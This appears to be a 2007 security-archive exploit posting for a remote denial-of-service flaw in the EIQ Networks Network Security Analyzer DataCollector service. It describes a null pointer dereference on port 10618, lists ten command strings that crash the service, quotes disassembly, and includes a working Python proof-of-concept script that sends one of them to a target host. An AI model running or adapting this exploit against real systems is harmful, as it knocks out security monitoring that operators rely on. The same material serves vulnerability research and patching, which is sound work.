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eiq-dos.txt

eiq-dos.txt
Posted Jan 13, 2007
Authored by Ethan Hunt

Remote exploitation of a null pointer dereference exception allows for remote attackers to crash the EIQ Network Security Analyzer DataCollector service. Proof of concept code included.

tags | exploit, remote, denial of service, proof of concept
SHA-256 | c0b59ba8423b52c53bb5d71af4b0a0a7949088f8c0b4de25895ca990ce8a071d

eiq-dos.txt

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Title:
-------------------
EIQ Networks Network Security Analyzer DoS Vulnerability


Vendor Notified:
-------------------
Now?


Background Info:
-------------------
EIQ Networks Product Site: http://www.eiqnetworks.com/products/NetworkSecurityAnalyzer.shtml


Description:
-------------------
Remote exploitation of a null pointer dereference exception allows for remote attackers to crash the DataCollector service.


Analysis:
-------------------
In order to exploit this vulnerability an attacker would have to simply send specially crafted data to the target machine on port 10618.


Any of the following "function names" will cause the service to throw an access violation while dereferencing the return value from a call to FindIndex ( http://msdn2.microsoft.com/de-de/library/a93550bb(VS.80).aspx):

&CONNECTSERVER&
&ADDENTRY&
&FIN&
&START&
&LOGPATH&
&FWADELTA&
&FWALOG&
&SETSYNCHRONOUS&
&SETPRGFILE&
&SETREPLYPORT&


For your reference..... the process begins its parsing here:

loc_40A35E:
; CODE XREF: command_handler+EAj
.text:0040A35E push offset aConnectserver ; must have &CONNECTSERVER& in your buffer to get here
.text:0040A363 lea ecx, [ebp+var_14]
.text:0040A366 call CString::Find(char const *)
...


Version:
-------------------
Current.


Proof of Concept:
-------------------
#!c:\python\python.exe
# uncomment whichever function youd like. theyll all crash in a similar way.

import socket

s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
s.connect(('192.168.1.101', 10618))

print "[*] connected"

s.send("&CONNECTSERVER&")
#s.send("&ADDENTRY&")
#s.send("&FIN&")
#s.send("&START&")
#s.send("&LOGPATH&")
#s.send("&FWADELTA&")
#s.send("&FWALOG&")
#s.send("&SETSYNCHRONOUS&")
#s.send("&SETPRGFILE&")
#s.send("&SETREPLYPORT&")

print "disconnecting."

s.close()

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